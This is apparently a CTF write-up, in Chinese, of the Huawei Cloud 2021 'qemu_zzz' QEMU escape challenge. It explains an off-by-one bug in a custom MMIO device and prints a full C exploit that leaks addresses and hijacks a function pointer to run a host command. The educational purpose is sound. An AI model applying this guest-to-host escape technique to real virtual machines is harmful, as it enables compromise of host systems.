【qemu逃逸】华为云2021-qemu_zzz

news2024/12/23 23:35:43

前言

虚拟机用户名:root

无密码

设备逆向

经过逆向分析,可得实例结构体大致结构如下:

其中 self 指向的是结构体本身,cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用,就直接用数组填充了。

zzz_mmio_read 函数就是读取 buf 中的内容,没啥用,就不看了,重点在 zzz_mmio_write 函数中。

zzz_mmio_write 函数

函数我已经把注释写的非常清楚了,就不详细说了。主要说下漏洞的利用。

漏洞利用

 漏洞很明显就一个 off by one,而且题目无中生有的在 buf 后面搞了个 self 指针,并且在对 dst 进行读写时,是先取的 self 指针,然后 dst/src/len/cpu_..._rw 函数都是根据这个 self 指针来的。

所以利用就很明显了,buf 这个空间我们是可控的,所以我们可以利用 off by one 去将 self 指针进行偏移,使得 dst,len,offset 落在 buf 中,这样就可以实现任意读了。

为啥说是任意读呢?因为要实现写得让 len 的低比特为 0,这里可以利用那个异或操作。

exp:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void * mmio_base;
void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
}

uint64_t gva_to_gpa(void* addr)
{
        uint64_t page;
        int fd = open("/proc/self/pagemap", O_RDONLY);
        if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);
        lseek(fd, ((uint64_t)addr >> 12 << 3), 0);
        read(fd, &page, 8);
        return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
}

void mmio_write(uint64_t addr, uint64_t val)
{
        *(uint64_t*)(mmio_base + addr) = val;
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        char * buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
        memset(buf, 0, 0x1000);
        mlock(buf, 0x1000);
        uint64_t gpa = gva_to_gpa(buf);
        printf("[+] gpa: %#p\n", gpa);

        //n =  0x1001
        //offset =  0xfee
        //offset ^ 0x209 =  0xde7

        char cmd[8] = "xcalc;\x00\x00";
        *(uint64_t*)(buf + 0x00) = gpa;
        *(uint32_t*)(buf + 0x08) = (0x1000-0xfee)|1;
        *(uint32_t*)(buf + 0x0a) = 0xfee;
        *(uint64_t*)(buf + 0x430) = *(uint64_t*)cmd;
        *(uint64_t*)(buf + 0x430 + 0x8) = 0;
        *(uint64_t*)(buf + 0x430 + 0xa) = 0;
        puts("[+] Step 1");
        mmio_write(0x10, 0);
        mmio_write(0x18, 0x440);
        mmio_write(0x20, gpa >> 12);
        mmio_write(0x60, 0);


        puts("[+] Step 2");
        buf[0] = '\x00';
        buf[1] = '\xf0';
        mmio_write(0x10, 0xfff);
        mmio_write(0x18, 2);
        mmio_write(0x20, gpa >> 12);
        mmio_write(0x60, 0);


        puts("[+] Step 3");
        mmio_write(0x60, 0);
        binary_dump("OOR DATA", buf+2, 0x20);
        uint64_t self_addr = *(uint64_t*)(buf + 2) - 0x10;
        uint64_t system_plt = *(uint64_t*)(buf + 2 + 0x08) - 0x314b40;
        printf("[+] system@plt: %#p\n", system_plt);


        puts("[+] Step 4");
        mmio_write(0x10, 8);
        mmio_write(0x18, 24);
        puts("[+] xor xor");
        mmio_write(0x50, 0);

        buf[0] = '\x00';
        *(uint64_t*)(buf + 1) = self_addr + 0xe20;
        *(uint32_t*)(buf + 1 + 8) = 0;
        *(uint32_t*)(buf + 1 + 8 + 4) = 0;
        *(uint64_t*)(buf + 0x209) = self_addr + 0xe08;
        *(uint64_t*)(buf + 0x209 + 0x8) = system_plt;
        puts("[+] Step 5");
        mmio_write(0x60, 0);

        puts("[+] Triger");
        mmio_write(0x60, 0);
        puts("[+] END!");
        return 0;
}

效果如下:

坑点

就我而言,在我的本地环境中,实例结构体地址的低字节为 0xe0,而由于我们只能修改低字节的数据,所以这里就只能把 self 的低字节修改为 0xf0。

在伪造 dst/len/offset,如果你伪造的 offset = 0xff0,len = 0x11 你会发现,后面异或之后其 len + offset > 0x1001 导致无法进行写入(针对实例结构体而言)。所以这里的 offset 和 len 不能随便伪造。这里写了一个脚本用于计算伪造的 offset 和 len:

for offset in range(0, 0xff0):
        orgi_n = offset + ((0x1000 - offset)|1)
        n = (offset^0x209) + ((((0x1000-offset)|1))^0x209)
        if n == 0x1001 and orgi_n == 0x1001:
                print("n = ", hex(n))
                print("offset = ", hex(offset))
                print("offset ^ 0x209 = ", hex(offset ^ 0x209))
                print("========================================")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1174370.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

动态规划算法实现0-1背包问题Java语言实现

问题介绍&#xff1a; 动态规划算法&#xff1a; 动态规划&#xff08;Dynamic Programming&#xff09;是一种解决多阶段决策问题的优化算法。它通过将问题分解为一系列子问题&#xff0c;并利用子问题的解来构建更大规模问题的解&#xff0c;从而实现对整个问题的求解。 动态…

五子棋对战测试报告

目录 一、项目背景 二、项目功能 三、功能测试 1、注册页面测试 测试用例 测试结果 测试总结 2、登录页面测试 测试用例 测试结果 测试总结 3、游戏大厅页面测试 测试用例 测试结果 测试总结 4、游戏房间页面测试 测试用例 测试结果 测试总结 一、项目背景 …

物联网AI MicroPython传感器学习 之 无源蜂鸣器

一、产品简介 蜂鸣器是一种将音频信号转化为声音信号的发音器件传感器&#xff0c;通过利用压电效应原理&#xff0c;当对其施加交变电压时产生机械振动。应用场景&#xff1a;在家用电器、电子玩具、游戏机等场景下都得到普遍应用&#xff0c;通过设置不同的频率&#xff0c;…

Linux下yum源配置实战

一、Linux下软件包的管理 1、软件安装方式 ① RPM包管理&#xff08;需要单独解决依赖问题&#xff09; ② YUM包管理&#xff08;需要有网络及YUM仓库的支持&#xff0c;会自动从互联网下载软件&#xff0c;自动解决依赖&#xff09; ③ 源码安装&#xff08;安装过程比较…

前端面试题之CSS篇

1、css选择器及其优先级 标签选择器: 1类选择器、属性选择器、伪类选择器&#xff1a;10id选择器&#xff1a;100内联选择器&#xff08;style“”&#xff09;&#xff1a;1000!important&#xff1a;10000 2、display的属性值及其作用 属性值作用none元素不显示&#xff0c…

数据分析实战 | 关联规则分析——购物车分析

目录 一、数据及分析对象 二、目的及分析任务 三、方法及工具 四、数据读入 五、数据理解 六、数据预处理 七、生成频繁项集 八、计算关联度 九、可视化 一、数据及分析对象 数据集链接&#xff1a;Online Retail.xlsx 该数据集记录了2010年12月01日至2011年12月09日…

【深蓝学院】手写VIO第8章--相机与IMU时间戳同步--作业

0. 题目 1. T1 逆深度参数化时的特征匀速模型的重投影误差 参考常鑫助教的答案&#xff1a;思路是将i时刻的观测投到world系&#xff0c;再用j时刻pose和外参投到j时刻camera坐标系下&#xff0c;归一化得到预测的二维坐标&#xff08;这里忽略了camera的内参&#xff0c;逆深…

力扣刷题之优先队列

前言&#xff1a;优先队列底层是由大根堆或小根堆数据结构实现的。 前K个高频元素 347. 前 K 个高频元素 给你一个整数数组 nums 和一个整数 k &#xff0c;请你返回其中出现频率前 k 高的元素。你可以按 任意顺序 返回答案。 示例 1: 输入: nums [1,1,1,2,2,3], k 2 输出: …

基于LDA主题+协同过滤+矩阵分解算法的智能电影推荐系统——机器学习算法应用(含python、JavaScript工程源码)+MovieLens数据集(四)

目录 前言总体设计系统整体结构图系统流程图 运行环境模块实现1. 数据爬取及处理2. 模型训练及保存3. 接口实现4. 收集数据5. 界面设计 系统测试相关其它博客工程源代码下载其它资料下载 前言 前段时间&#xff0c;博主分享过关于一篇使用协同过滤算法进行智能电影推荐系统的博…

CCF-CSP真题《202305-5 闪耀巡航》思路+python,c++满分题解

想查看其他题的真题及题解的同学可以前往查看&#xff1a;CCF-CSP真题附题解大全 试题编号&#xff1a;202305-5试题名称&#xff1a;闪耀巡航时间限制&#xff1a;5.0s内存限制&#xff1a;512.0MB问题描述&#xff1a; 问题描述 西西艾弗岛旅游公司最近推出了一系列环绕西西艾…

周报4_YMK

FlashAttention 硬件知识 以 A100 (40GB HBM) 为例&#xff0c;下面显示其内存层次结构的粗略图。SRAM内存分布在108个流式多处理器(SMs)上&#xff0c;每个处理器192KB。片上SRAM比HBM快得多&#xff0c;但比HBM小得多&#xff0c;在计算方面&#xff0c;使用Tensor Core的B…

【ARFoundation学习笔记】ARFoundation基础(上)

写在前面的话 本系列笔记旨在记录作者在学习Unity中的AR开发过程中需要记录的问题和知识点。难免出现纰漏&#xff0c;更多详细内容请阅读原文。 本文从原文第二章开始 文章目录 ARFoundation的体系Subsystem的使用跟踪子系统 ARSession & AR Session OriginARSessionARSe…

多目标优化中的“latent action”是什么?

2020 NeurIPS 中的“latent action”&#xff1a; Our model defines latent action as a boundary that splits the region represented by a node into a high-performing and a low performing region. 这里的latent action代表一个边界&#xff08;分类器&#xff09;&…

4 网络基础知识

1、 ifconfig&#xff1a; 1.Windows&#xff1a;ipconfig 2.Linux&#xff1a;ifconfigip addr2、 ifconfig 和 ip addr 的区别&#xff1f; 问题&#xff1a;假设你登录进入一个被裁剪过的非常小的 Linux 系统中&#xff0c;发现既没有 ifconfig 命令&#xff0c;也没有 ip…

CCF-CSP真题《202309-2 坐标变换(其二)》思路+python,c++满分题解

想查看其他题的真题及题解的同学可以前往查看&#xff1a;CCF-CSP真题附题解大全 试题编号&#xff1a;202309-2试题名称&#xff1a;坐标变换&#xff08;其二&#xff09;时间限制&#xff1a;2.0s内存限制&#xff1a;512.0MB问题描述&#xff1a; 问题描述 对于平面直角坐标…

【Mybatis小白从0到90%精讲】13: Mybatis sql片段,重用SQL的利器!

文章目录 前言SQL片段语句常见应用场景1. select 列字段2. where条件前言 代码复用是优秀程序员的标志之一,它能够减少代码冗余,提高代码可读性和可维护性。 在MyBatis开发中,Mapper中经常会有一些类似的SQL,如果每个语句都单独编写,会使代码冗长且难以维护。 MyBatis提…

Magics测量两个圆形中心点距离的方法

摘要&#xff1a;本文介绍如何使用magics测量两个圆孔之间的距离。 问题来源&#xff1a;3D模型打开后&#xff0c;两个圆孔中心点之间的间距测量无法直接通过测距实现&#xff0c;需要进行一些小小的设置才行。 工具选择“量尺”&#xff0c;如果不设置的话&#xff0c;它会默…

有关我自贡大盐商身世的两篇文章(一)

重游高坑岩瀑布随笔 都市噪杂喧嚣的生活&#xff0c;终于将我暂时逼离网络&#xff0c;决意出游数日&#xff0c;去山里寻找我向往的那些足以鼓舞人斗志的壮观瀑布&#xff0c;并试图从中领受它们那出自天然的&#xff0c;万马奔腾、猛烈撞击、拚抢速度、渲泄激情、永不妥协、…

【数据结构】树与二叉树(一):树(森林)的基本概念:父亲、儿子、兄弟、后裔、祖先、度、叶子结点、分支结点、结点的层数、路径、路径长度、结点的深度、树的深度

文章目录 5.1 树的基本概念5.1.1 树的定义树有序树、无序树 5.1.2 森林的定义5.1.3 树的术语1. 父亲&#xff08;parent&#xff09;、儿子&#xff08;child&#xff09;、兄弟&#xff08;sibling&#xff09;、后裔&#xff08;descendant&#xff09;、祖先&#xff08;anc…

【软件测试】工作内容

测试工程师工作&#xff1a; 阶段&#xff1a;编写测试计划测试用例、测试缺陷报告并执行测试用例&#xff1b;搭建Windows测试环境熟练&#xff1b;使用Bugzilla 提交软件缺陷报告 使用测试技术及工具&#xff1a;白盒测试黑盒测试 Loadrunner、Winrunner 能够运用边界值、等…